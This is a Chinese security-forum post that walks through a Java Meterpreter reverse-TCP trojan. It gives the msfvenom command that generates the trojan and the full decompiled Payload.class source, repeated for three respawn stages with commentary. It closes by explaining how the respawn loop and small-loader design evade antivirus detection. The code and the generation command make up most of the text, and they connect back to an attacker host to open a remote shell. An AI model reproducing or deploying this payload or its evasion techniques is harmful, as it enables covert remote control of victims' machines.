1.生成木马
msfvenom -p java/meterpreter/reverse_tcp LHOST=10.0.3.4 LPORT=4444 > 1.jar
2.拖到本机,反编译一下
cmd :java -jar jd-gui-1.6.6.jar
可以看到有三个文件
Manifest-Version: 1.0
Main-Class: metasploit.Payload //定义了jar包从这个地方开始加载
Permissions: all-permissions
Name: metasploit.dat
Name: metasploit/Payload.class
Spawn=2
LHOST=10.0.3.4 回连ip地址
LPORT=4444 回连端口
package metasploit;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.DataInputStream;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.PrintStream;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.URL;
import java.net.URLConnection;
import java.security.AllPermission;
import java.security.CodeSource;
import java.security.Permissions;
import java.security.ProtectionDomain;
import java.util.Enumeration;
import java.util.Locale;
import java.util.Properties;
import java.util.Stack;
import java.util.StringTokenizer;
public class Payload extends ClassLoader {
//获取当前的操作系统 windows10
private static final String OS_NAME = System.getProperty("os.name").toLowerCase(Locale.ENGLISH);
//获取路径的分割符 ;
private static final String PATH_SEP = System.getProperty("path.separator");
//判断是否是AIX(是否基于unix) false
private static final boolean IS_AIX = "aix".equals(OS_NAME);
//判断路径的分割符是否是 ; true
private static final boolean IS_DOS = PATH_SEP.equals(";");
// 获取java的安装路径 C:\Program Files\Java\jre1.8.0_211
private static final String JAVA_HOME = System.getProperty("java.home");
public static void main(String[] paramArrayOfString) throws Exception {
//读写配置文件
Properties properties = new Properties();
//通过反射获取payload类 clazz:'class metasploit.payload' 看截图可以看到payload类在metasploit下面
Class<Payload> clazz = Payload.class;
//定义一个str1,值为上面的 metasploit.payload,然后把.变成/,把文件后缀改为.class。 str1:'metasploit\payload.class',实际是获取文件的路径
String str1 = clazz.getName().replace('.', '/') + ".class";
//创建io加载配置文件properties,也就是把metasploit.dat里面的内容读到inputstream里面。
InputStream inputStream = clazz.getResourceAsStream("/metasploit.dat");
if (inputStream != null) { //dat文件存在,不等于空
properties.load(inputStream); //把inputstream流里面的内容读到properties这个对象里面
inputStream.close(); //关闭io流
}
上面就做了一件事,把dat文件的内容通过io流去读到properties里面。
//定义一个str2,把dat文件里Executable字段赋值给它。但是看dat文件里的内容发现没有这个字段,所以str2 = null
String str2 = properties.getProperty("Executable");
if (str2 != null) { //判断str2不为空 false
//创建一个前缀为~spawn,后缀为.tmp的文件file1( File.createTempFile是jdk自带API,作用是获取系统的tmp目录)
File file1 = File.createTempFile("~spawn", ".tmp");
file1.delete(); //删除file1???
File file2 = new File(file1.getAbsolutePath() + ".dir"); //创建一个file2,获取file1的绝对路径加上后缀.dir,file2:~spawnXXXX.tmp.dir
file2.mkdir();//创建file2
File file3 = new File(file2, str2); //下面不想分析了,反正这个if也走不进来。。。
writeEmbeddedFile(clazz, str2, file3);
properties.remove("Executable");//删除Executable字段
properties.put("DroppedExecutable", file3.getCanonicalPath());//加一个新的Executable进来,返回file3的绝对路径
}
// 获取配置文件中spawn的值,现在spawn=2,没有获取到的时候是0,int i = 2
int i = Integer.parseInt(properties.getProperty("Spawn", "0"));
//str2不为空走了if才有str3,所以现在str3为空
String str3 = properties.getProperty("DroppedExecutable");
if (i > 0) { // 如果i不为0,i=2>0
//把配置文件中spawn的值减一再放回去,spawn=1
properties.setProperty("Spawn", String.valueOf(i - 1));
//再tmp目录下创建file1,~spawnXXX.tmp
File file1 = File.createTempFile("~spawn", ".tmp");
file1.delete(); //删除file1
//获取file1也就是temp目录的绝对路径,创建file2:c:\temp\~spawnXXXX.tmp.dir
File file2 = new File(file1.getAbsolutePath() + ".dir");
//往file2里创建一个file3,file3=c:\temp\~spawnXXXX.tmp.dir\metasploit.dat
File file3 = new File(file2, "metasploit.dat");
//往file2里面创建一个file4,取前面定义的str1的值,file4=c:\temp\~spawnXXXX.tmp.dir\metasploit\payload.class
File file4 = new File(file2, str1);
file4.getParentFile().mkdirs();//创建文件夹
writeEmbeddedFile(clazz, str1, file4);//写文件进去
//至此上面的部分就是在临时文件目录创建了一个一模一样的文件夹,把paylod和dat复制了过去,然后dat文件中spawn的值由2变成了1。
if (properties.getProperty("URL", "").startsWith("https:"))//配置文件dat中没有URL,不进这个if
writeEmbeddedFile(clazz, "metasploit/PayloadTrustManager.class", new File(file4.getParentFile(), "PayloadTrustManager.class"));
if (properties.getProperty("AESPassword", (String)null) != null)//配置文件中也没有aespassword,不进这个if
writeEmbeddedFile(clazz, "metasploit/AESEncryption.class", new File(file4.getParentFile(), "AESEncryption.class"));
FileOutputStream fileOutputStream = new FileOutputStream(file3);
properties.store(fileOutputStream, "");
fileOutputStream.close();
//调用runtime接口执行系统命令,定义一个新的数组[java -classpath file2的绝对路径(c:\temp\~spawnXXXX.tmp.dir) clazz的名字(metasploit\payload.class)],
//也就是让系统去执行了"java -classpath c:\temp\~spawnXXXX.tmp.dir\metasploit\payload.class" 这样一个命令,去运行payload.class。
Process process = Runtime.getRuntime().exec(new String[] { getJreExecutable("java"), "-classpath", file2.getAbsolutePath(), clazz.getName() });
process.getInputStream().close();
process.getErrorStream().close();
//至此进程结束,木马文件自杀,但是在死前又运行了拷贝到临时文件下的一模一样的自己,唯一变化是配置文件dat中的spawn变成了1。
第二次运行分析
package metasploit;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.DataInputStream;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.PrintStream;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.URL;
import java.net.URLConnection;
import java.security.AllPermission;
import java.security.CodeSource;
import java.security.Permissions;
import java.security.ProtectionDomain;
import java.util.Enumeration;
import java.util.Locale;
import java.util.Properties;
import java.util.Stack;
import java.util.StringTokenizer;
public class Payload extends ClassLoader {
//获取当前的操作系统 windows10
private static final String OS_NAME = System.getProperty("os.name").toLowerCase(Locale.ENGLISH);
//获取路径的分割符 ;
private static final String PATH_SEP = System.getProperty("path.separator");
//判断是否是AIX(是否基于unix) false
private static final boolean IS_AIX = "aix".equals(OS_NAME);
//判断路径的分割符是否是 ; true
private static final boolean IS_DOS = PATH_SEP.equals(";");
// 获取java的安装路径 C:\Program Files\Java\jre1.8.0_211
private static final String JAVA_HOME = System.getProperty("java.home");
public static void main(String[] paramArrayOfString) throws Exception {
//读写配置文件
Properties properties = new Properties();
//通过反射获取payload类 clazz:'class metasploit.payload' 看截图可以看到payload类在metasploit下面
Class<Payload> clazz = Payload.class;
//定义一个str1,值为上面的 metasploit.payload,然后把.变成/,把文件后缀改为.class。 str1:'metasploit\payload.class',实际是获取文件的路径
String str1 = clazz.getName().replace('.', '/') + ".class";
//创建io加载配置文件properties,也就是把metasploit.dat里面的内容读到inputstream里面。
InputStream inputStream = clazz.getResourceAsStream("/metasploit.dat");
if (inputStream != null) { //dat文件存在,不等于空
properties.load(inputStream); //把inputstream流里面的内容读到properties这个对象里面
inputStream.close(); //关闭io流
}
上面就做了一件事,把dat文件的内容通过io流去读到properties里面。
//定义一个str2,把dat文件里Executable字段赋值给它。但是看dat文件里的内容发现没有这个字段,所以str2 = null
String str2 = properties.getProperty("Executable");
if (str2 != null) { //判断str2不为空 false
//创建一个前缀为~spawn,后缀为.tmp的文件file1( File.createTempFile是jdk自带API,作用是获取系统的tmp目录)
File file1 = File.createTempFile("~spawn", ".tmp");
file1.delete(); //删除file1???
File file2 = new File(file1.getAbsolutePath() + ".dir"); //创建一个file2,获取file1的绝对路径加上后缀.dir,file2:~spawnXXXX.tmp.dir
file2.mkdir();//创建file2
File file3 = new File(file2, str2); //下面不想分析了,反正这个if也走不进来。。。
writeEmbeddedFile(clazz, str2, file3);
properties.remove("Executable");//删除Executable字段
properties.put("DroppedExecutable", file3.getCanonicalPath());//加一个新的Executable进来,返回file3的绝对路径
}
// 获取配置文件中spawn的值,现在spawn=1,没有获取到的时候是0,int i = 1
int i = Integer.parseInt(properties.getProperty("Spawn", "0"));
//str2不为空走了if才有str3,所以现在str3为空
String str3 = properties.getProperty("DroppedExecutable");
if (i > 0) { // 如果i不为0,i=1>0
//把配置文件中spawn的值减一再放回去,spawn=0
properties.setProperty("Spawn", String.valueOf(i - 1));
//再tmp目录下创建file1,~spawnXXX.tmp
File file1 = File.createTempFile("~spawn", ".tmp");
file1.delete(); //删除file1
//获取file1也就是temp目录的绝对路径,创建file2:c:\temp\~spawnXXXX.tmp.dir
File file2 = new File(file1.getAbsolutePath() + ".dir");
//往file2里创建一个file3,file3=c:\temp\~spawnXXXX.tmp.dir\metasploit.dat
File file3 = new File(file2, "metasploit.dat");
//往file2里面创建一个file4,取前面定义的str1的值,file4=c:\temp\~spawnXXXX.tmp.dir\metasploit\payload.class
File file4 = new File(file2, str1);
file4.getParentFile().mkdirs();//创建文件夹
writeEmbeddedFile(clazz, str1, file4);//写文件进去
//至此上面的部分就是在临时文件目录创建了一个一模一样的文件夹,把paylod和dat复制了过去,然后dat文件中spawn的值由2变成了1。
if (properties.getProperty("URL", "").startsWith("https:"))//配置文件dat中没有URL,不进这个if
writeEmbeddedFile(clazz, "metasploit/PayloadTrustManager.class", new File(file4.getParentFile(), "PayloadTrustManager.class"));
if (properties.getProperty("AESPassword", (String)null) != null)//配置文件中也没有aespassword,不进这个if
writeEmbeddedFile(clazz, "metasploit/AESEncryption.class", new File(file4.getParentFile(), "AESEncryption.class"));
FileOutputStream fileOutputStream = new FileOutputStream(file3);
properties.store(fileOutputStream, "");
fileOutputStream.close();
//调用runtime接口执行系统命令,定义一个新的数组[java -classpath file2的绝对路径(c:\temp\~spawnXXXX.tmp.dir) clazz的名字(metasploit\payload.class)],
//也就是让系统去执行了"java -classpath c:\temp\~spawnXXXX.tmp.dir\metasploit\payload.class" 这样一个命令,去运行payload.class。
Process process = Runtime.getRuntime().exec(new String[] { getJreExecutable("java"), "-classpath", file2.getAbsolutePath(), clazz.getName() });
process.getInputStream().close();
process.getErrorStream().close();
Thread.sleep(2000L);
File[] arrayOfFile = { file4, file4.getParentFile(), file3, file2 };
for (byte b = 0; b < arrayOfFile.length; b++) {
for (byte b1 = 0; b1 < 10 && !arrayOfFile[b].delete(); b1++) {
arrayOfFile[b].deleteOnExit();
Thread.sleep(100L);
}
}
//至此次生进程再次结束,木马文件自杀,但是在死前又运行了拷贝到临时文件下的一模一样的自己。唯一的变化是新生成的dat文件里spawn变成了0.
第三次循环分析
package metasploit;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.DataInputStream;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.PrintStream;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.URL;
import java.net.URLConnection;
import java.security.AllPermission;
import java.security.CodeSource;
import java.security.Permissions;
import java.security.ProtectionDomain;
import java.util.Enumeration;
import java.util.Locale;
import java.util.Properties;
import java.util.Stack;
import java.util.StringTokenizer;
public class Payload extends ClassLoader {
//获取当前的操作系统 windows10
private static final String OS_NAME = System.getProperty("os.name").toLowerCase(Locale.ENGLISH);
//获取路径的分割符 ;
private static final String PATH_SEP = System.getProperty("path.separator");
//判断是否是AIX(是否基于unix) false
private static final boolean IS_AIX = "aix".equals(OS_NAME);
//判断路径的分割符是否是 ; true
private static final boolean IS_DOS = PATH_SEP.equals(";");
// 获取java的安装路径 C:\Program Files\Java\jre1.8.0_211
private static final String JAVA_HOME = System.getProperty("java.home");
public static void main(String[] paramArrayOfString) throws Exception {
//读写配置文件
Properties properties = new Properties();
//通过反射获取payload类 clazz:'class metasploit.payload' 看截图可以看到payload类在metasploit下面
Class<Payload> clazz = Payload.class;
//定义一个str1,值为上面的 metasploit.payload,然后把.变成/,把文件后缀改为.class。 str1:'metasploit\payload.class',实际是获取文件的路径
String str1 = clazz.getName().replace('.', '/') + ".class";
//创建io加载配置文件properties,也就是把metasploit.dat里面的内容读到inputstream里面。
InputStream inputStream = clazz.getResourceAsStream("/metasploit.dat");
if (inputStream != null) { //dat文件存在,不等于空
properties.load(inputStream); //把inputstream流里面的内容读到properties这个对象里面
inputStream.close(); //关闭io流
}
上面就做了一件事,把dat文件的内容通过io流去读到properties里面。
//定义一个str2,把dat文件里Executable字段赋值给它。但是看dat文件里的内容发现没有这个字段,所以str2 = null
String str2 = properties.getProperty("Executable");
if (str2 != null) { //判断str2不为空 false
//创建一个前缀为~spawn,后缀为.tmp的文件file1( File.createTempFile是jdk自带API,作用是获取系统的tmp目录)
File file1 = File.createTempFile("~spawn", ".tmp");
file1.delete(); //删除file1???
File file2 = new File(file1.getAbsolutePath() + ".dir"); //创建一个file2,获取file1的绝对路径加上后缀.dir,file2:~spawnXXXX.tmp.dir
file2.mkdir();//创建file2
File file3 = new File(file2, str2); //下面不想分析了,反正这个if也走不进来。。。
writeEmbeddedFile(clazz, str2, file3);
properties.remove("Executable");//删除Executable字段
properties.put("DroppedExecutable", file3.getCanonicalPath());//加一个新的Executable进来,返回file3的绝对路径
}
// 获取配置文件中spawn的值,现在spawn=0,没有获取到的时候是0,int i = 0
int i = Integer.parseInt(properties.getProperty("Spawn", "0"));
//str2不为空走了if才有str3,所以现在str3为空
String str3 = properties.getProperty("DroppedExecutable");
if (i > 0) { // 如果i不为0,i=0 !> 0
//不进入if了
properties.setProperty("Spawn", String.valueOf(i - 1));
File file1 = File.createTempFile("~spawn", ".tmp");
file1.delete();
File file2 = new File(file1.getAbsolutePath() + ".dir");
File file3 = new File(file2, "metasploit.dat");
File file4 = new File(file2, str1);
file4.getParentFile().mkdirs();
writeEmbeddedFile(clazz, str1, file4);
if (properties.getProperty("URL", "").startsWith("https:"))
writeEmbeddedFile(clazz, "metasploit/PayloadTrustManager.class", new File(file4.getParentFile(), "PayloadTrustManager.class"));
if (properties.getProperty("AESPassword", (String)null) != null)
writeEmbeddedFile(clazz, "metasploit/AESEncryption.class", new File(file4.getParentFile(), "AESEncryption.class"));
FileOutputStream fileOutputStream = new FileOutputStream(file3);
properties.store(fileOutputStream, "");
fileOutputStream.close();
Process process = Runtime.getRuntime().exec(new String[] { getJreExecutable("java"), "-classpath", file2.getAbsolutePath(), clazz.getName() });
process.getInputStream().close();
process.getErrorStream().close();
Thread.sleep(2000L);
File[] arrayOfFile = { file4, file4.getParentFile(), file3, file2 };
for (byte b = 0; b < arrayOfFile.length; b++) {
for (byte b1 = 0; b1 < 10 && !arrayOfFile[b].delete(); b1++) {
arrayOfFile[b].deleteOnExit();
Thread.sleep(100L);
}
}
//第三次的payload跳过了自杀走到了这里
} else if (str3 != null) { //str3还是空,也不进else if
File file = new File(str3);
if (!IS_DOS)
try {
try {
File.class.getMethod("setExecutable", new Class[] { boolean.class }).invoke(file, new Object[] { Boolean.TRUE });
} catch (NoSuchMethodException noSuchMethodException) {
Runtime.getRuntime().exec(new String[] { "chmod", "+x", str3 }).waitFor();
}
} catch (Exception exception) {
exception.printStackTrace();
}
Runtime.getRuntime().exec(new String[] { str3 });
if (!IS_DOS) {
file.delete();
file.getParentFile().delete();
}
} else { //从这里开始走
OutputStream outputStream;
int j = Integer.parseInt(properties.getProperty("LPORT", "4444")); //获取配置文件dat中的回连的端口LPORT为 int j
String str4 = properties.getProperty("LHOST", (String)null); // 获取回连的地址为 str4
String str5 = properties.getProperty("URL", (String)null); //获取回连的url为str5,但是配置文件中并没有,所以str5=null
InputStream inputStream1 = null;
if (j <= 0) { //j = 4444 false,不进if
inputStream1 = System.in;
outputStream = System.out;
} else if (str5 != null) { //str5 != null false也不进这个
if (str5.startsWith("raw:")) {
inputStream1 = new ByteArrayInputStream(str5.substring(4).getBytes("ISO-8859-1"));
} else if (str5.startsWith("http")) {
URLConnection uRLConnection = (new URL(str5)).openConnection();
if (str5.startsWith("https:"))
Class.forName("metasploit.PayloadTrustManager").getMethod("useFor", new Class[] { URLConnection.class }).invoke(null, new Object[] { uRLConnection });
addRequestHeaders(uRLConnection, properties);
inputStream1 = uRLConnection.getInputStream();
}
outputStream = new ByteArrayOutputStream();
} else {
Socket socket;
if (str4 != null) { //上面的if都不进,str4 != null true ,进这个if
socket = new Socket(str4, j); //建立新的socket连接,值为回连地址和端口
} else {
ServerSocket serverSocket = new ServerSocket(j);
socket = serverSocket.accept();
serverSocket.close();
}
inputStream1 = socket.getInputStream(); //读取socket的输入流
outputStream = socket.getOutputStream();//读取socket的输出流
}
String str6 = properties.getProperty("AESPassword", (String)null);
if (str6 != null) {
Object[] arrayOfObject = (Object[])Class.forName("metasploit.AESEncryption").getMethod("wrapStreams", new Class[] { InputStream.class, OutputStream.class, String.class }).invoke(null, new Object[] { inputStream1, outputStream, str6 });
inputStream1 = (InputStream)arrayOfObject[0];
outputStream = (OutputStream)arrayOfObject[1];
}
StringTokenizer stringTokenizer = new StringTokenizer("Payload -- " + properties.getProperty("StageParameters", ""), " ");
String[] arrayOfString = new String[stringTokenizer.countTokens()];
for (byte b = 0; b < arrayOfString.length; b++)
arrayOfString[b] = stringTokenizer.nextToken();
(new Payload()).bootstrap(inputStream1, outputStream, properties.getProperty("EmbeddedStage", (String)null), arrayOfString);
}
}
private static void addRequestHeaders(URLConnection paramURLConnection, Properties paramProperties) {
Enumeration<?> enumeration = paramProperties.propertyNames();
while (enumeration.hasMoreElements()) {
Object object = enumeration.nextElement();
if (object instanceof String) {
String str = (String)object;
if (str.startsWith("Header"))
paramURLConnection.addRequestProperty(str.substring(6), paramProperties.getProperty(str));
}
}
}
private static void writeEmbeddedFile(Class paramClass, String paramString, File paramFile) throws FileNotFoundException, IOException {
InputStream inputStream = paramClass.getResourceAsStream("/" + paramString);
FileOutputStream fileOutputStream = new FileOutputStream(paramFile);
byte[] arrayOfByte = new byte[4096];
int i;
while ((i = inputStream.read(arrayOfByte)) != -1)
fileOutputStream.write(arrayOfByte, 0, i);
fileOutputStream.close();
}
private final void bootstrap(InputStream paramInputStream, OutputStream paramOutputStream, String paramString, String[] paramArrayOfString) throws Exception {
try {
Class<?> clazz;
DataInputStream dataInputStream = new DataInputStream(paramInputStream);
Permissions permissions = new Permissions();
permissions.add(new AllPermission());
ProtectionDomain protectionDomain = new ProtectionDomain(new CodeSource(new URL("file:///"), new java.security.cert.Certificate[0]), permissions);
if (paramString == null) {
int i = dataInputStream.readInt();
do {
byte[] arrayOfByte = new byte[i];
dataInputStream.readFully(arrayOfByte);
resolveClass(clazz = defineClass(null, arrayOfByte, 0, i, protectionDomain));
i = dataInputStream.readInt();
} while (i > 0);
} else {
clazz = Class.forName("javapayload.stage." + paramString);
}
Object object = clazz.newInstance();
clazz.getMethod("start", new Class[] { DataInputStream.class, OutputStream.class, String[].class }).invoke(object, new Object[] { dataInputStream, paramOutputStream, paramArrayOfString });
} catch (Throwable throwable) {
throwable.printStackTrace(new PrintStream(paramOutputStream));
}
}
private static String getJreExecutable(String paramString) {
File file = null;
if (IS_AIX)
file = findInDir(JAVA_HOME + "/sh", paramString);
if (file == null)
file = findInDir(JAVA_HOME + "/bin", paramString);
return (file != null) ? file.getAbsolutePath() : addExtension(paramString);
}
private static String addExtension(String paramString) {
return paramString + (IS_DOS ? ".exe" : "");
}
private static File findInDir(String paramString1, String paramString2) {
File file1 = normalize(paramString1);
File file2 = null;
if (file1.exists()) {
file2 = new File(file1, addExtension(paramString2));
if (!file2.exists())
file2 = null;
}
return file2;
}
private static File normalize(String paramString) {
Stack<String> stack = new Stack();
String[] arrayOfString = dissect(paramString);
stack.push(arrayOfString[0]);
StringTokenizer stringTokenizer = new StringTokenizer(arrayOfString[1], File.separator);
while (stringTokenizer.hasMoreTokens()) {
String str = stringTokenizer.nextToken();
if (".".equals(str))
continue;
if ("..".equals(str)) {
if (stack.size() < 2)
return new File(paramString);
stack.pop();
continue;
}
stack.push(str);
}
StringBuilder stringBuilder = new StringBuilder();
for (byte b = 0; b < stack.size(); b++) {
if (b > 1)
stringBuilder.append(File.separatorChar);
stringBuilder.append(stack.elementAt(b));
}
return new File(stringBuilder.toString());
}
private static String[] dissect(String paramString) {
char c = File.separatorChar;
paramString = paramString.replace('/', c).replace('\\', c);
String str = null;
int i = paramString.indexOf(':');
if (i > 0 && IS_DOS) {
int j = i + 1;
str = paramString.substring(0, j);
char[] arrayOfChar = paramString.toCharArray();
str = str + c;
j = (arrayOfChar[j] == c) ? (j + 1) : j;
StringBuilder stringBuilder = new StringBuilder();
for (int k = j; k < arrayOfChar.length; k++) {
if (arrayOfChar[k] != c || arrayOfChar[k - 1] != c)
stringBuilder.append(arrayOfChar[k]);
}
paramString = stringBuilder.toString();
} else if (paramString.length() > 1 && paramString.charAt(1) == c) {
int j = paramString.indexOf(c, 2);
j = paramString.indexOf(c, j + 1);
str = (j > 2) ? paramString.substring(0, j + 1) : paramString;
paramString = paramString.substring(str.length());
} else {
str = File.separator;
paramString = paramString.substring(1);
}
return new String[] { str, paramString };
}
}
/* Location: F:\免杀\java反编译\1.jar!\metasploit\Payload.class
* Java compiler version: 5 (49.0)
* JD-Core Version: 1.1.3
*/
到此分析代码分析结束,那么进行三次内存循环的意义在哪呢?
躲避杀软:如果一上来就建立socket连接,大马拉回来上线肯定要被杀。
内存循环三次的意义是为了躲避杀软内存的追踪。
小马拉大马:
1.尽量减少特征
2.文件小(如果把大马的核心逻辑写到小马里面,文件就会很大,但是通过小马建立socket连接再从服务器上把大马拉回来体积就会很小)
反编译好的压缩包放附件了,直接everyedit打开就行。
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
Track-劲夫 | 100.00 | 0 | 2022-06-06 19:07:11 | 一个受益终生的帖子~~ |
打赏我,让我更有动力~
1.jar.src.zip 文件大小:0.004M (下载次数:1)
© 2016 - 2024 掌控者 All Rights Reserved.